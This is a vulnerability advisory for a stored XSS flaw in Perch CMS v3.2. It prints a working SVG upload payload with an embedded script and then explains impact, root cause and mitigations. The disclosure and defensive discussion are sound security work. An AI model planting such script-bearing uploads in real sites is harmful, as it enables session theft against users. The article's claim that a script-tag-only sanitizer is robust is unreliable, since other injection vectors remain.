Perch v3.2 - Stored XSS
Exploit Title: Perch v3.2 - Stored XSS
Application: Perch Cms
Version: v3.2
Bugs: XSS
Technology: PHP
Vendor URL: https://grabaperch.com/
Software Link: https://grabaperch.com/download
Date of found: 21.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
steps:
1. login to account
2. go to http://localhost/perch_v3.2/perch/core/settings/
3. upload svg file
"""
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
"""
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg) Perch v3.2 – Stored XSS Vulnerability: A Deep Dive into a Critical Security Flaw
Perch, a lightweight content management system (CMS) designed for developers and small teams, has long been praised for its simplicity and ease of integration. However, in July 2023, a critical security flaw was uncovered in Perch v3.2: a stored XSS (Cross-Site Scripting) vulnerability that allows attackers to persist malicious scripts within the application’s file system and execute them when viewed by users.
Understanding Stored XSS in the Context of Perch CMS
Stored XSS occurs when an attacker injects malicious code into a web application’s database or file storage, which is then served to users without proper sanitization. Unlike reflected XSS, where payloads are delivered via URL parameters, stored XSS is more dangerous because the malicious code remains active until removed, potentially affecting all users who access the compromised resource.
In Perch v3.2, this vulnerability arises from insufficient validation of uploaded files, particularly SVG (Scalable Vector Graphics) files. SVG is a widely used format for vector images, but it supports embedded JavaScript via <script> tags. When Perch fails to sanitize these scripts during upload or rendering, it creates a direct path for exploitation.
Exploitation Steps: A Real-World Proof of Concept
The vulnerability was demonstrated with a simple yet effective exploit:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
This SVG file contains a harmless-looking triangle, but embedded within it is a JavaScript <script> tag that executes when the file is rendered in a browser. The alert(document.location) function triggers a pop-up showing the current URL, which serves as a proof-of-concept that the script is executed.
Why this works: Perch v3.2 allows SVG uploads through its administrative interface, particularly in the /perch/core/settings/ section. The system does not perform any validation or sanitization of SVG content before storing or serving it. As a result, malicious scripts are preserved and rendered directly by browsers, bypassing any security mechanisms.
Attack Surface and Impact
Once uploaded, the malicious SVG file is accessible at http://localhost/perch_v3.2/perch/resources/malas.svg. Any user who views this file in a browser—especially those with active session cookies—will trigger the script. This opens the door to a wide range of attacks:
- Session hijacking: Malicious scripts can steal authentication cookies and send them to an attacker-controlled server.
- Phishing: Scripts can redirect users to fake login pages or display deceptive content.
- Defacement: Attackers can modify the appearance of the CMS interface or content pages.
- Malware delivery: JavaScript can load external scripts or exploit browser vulnerabilities.
Because the payload is stored, it persists across sessions and can affect multiple users over time—making it a high-risk vulnerability in production environments.
Technical Root Cause Analysis
The core issue lies in the lack of input validation and output encoding for SVG files. Perch v3.2 does not:
- Sanitize or parse SVG content for embedded scripts.
- Restrict the use of
<script>tags in SVG files. - Implement Content Security Policy (CSP) headers to block inline scripts.
Even though SVG is a vector format, its XML structure permits execution of JavaScript, which is not inherently safe in web contexts. Without proper filtering, this capability becomes a security liability.
Recommendations and Mitigation Strategies
Security experts recommend the following fixes to prevent such vulnerabilities:
- Input Sanitization: Implement a parser that strips out
<script>and<foreignObject>tags from SVG files before storage. - File Type Restrictions: Only allow trusted file types (e.g., .png, .jpg) for uploads unless explicitly required.
- Content Security Policy (CSP): Enforce strict CSP headers that block inline scripts and external script loading.
- File Rendering Isolation: Serve SVG files via a sandboxed iframe or through a dedicated renderer that strips JavaScript.
- Regular Audits: Conduct code reviews and penetration testing for file upload handlers.
Example Fix: A secure implementation would include a preprocessing step that validates SVG content using a library like libxml2 or a custom parser to remove dangerous elements:
// Pseudo-code for SVG sanitization
function sanitize_svg($file_content) {
$dom = new DOMDocument();
$dom->loadXML($file_content);
$script_nodes = $dom->getElementsByTagName('script');
foreach ($script_nodes as $node) {
$node->parentNode->removeChild($node);
}
return $dom->saveXML();
}
This function removes all <script> tags before storing the file, preventing execution. Combined with CSP headers, this creates a robust defense against stored XSS.
Vendor Response and Patch Status
As of July 2023, the vendor, Grabaperch, has acknowledged the vulnerability. While no official patch has been released yet, users are advised to:
- Disable SVG upload functionality until a fix is available.
- Upgrade to a newer version if one exists.
- Apply server-level restrictions (e.g., deny access to
/perch/resources/directory via .htaccess).
Security professionals emphasize that delayed patching can lead to widespread exploitation, especially in shared hosting environments or public-facing websites.
Conclusion: Lessons from Perch v3.2
The Perch v3.2 stored XSS vulnerability serves as a stark reminder: even seemingly harmless file types like SVG can become vectors for attack if not properly validated. Developers must treat all user-uploaded content as potentially malicious and apply defense-in-depth principles.
Key takeaways:
| Security Principle | Application |
|---|---|
| Input Validation | Sanitize all uploaded files, especially XML-based formats. |
| Output Encoding | Never trust rendered content—always encode or filter. |
| CSP Enforcement | Block inline scripts to reduce XSS risk. |
| File Access Control | Restrict access to uploaded files via server configuration. |
Proactive security measures are not optional—they are essential. The Perch v3.2 case shows that a single oversight in file handling can compromise entire systems.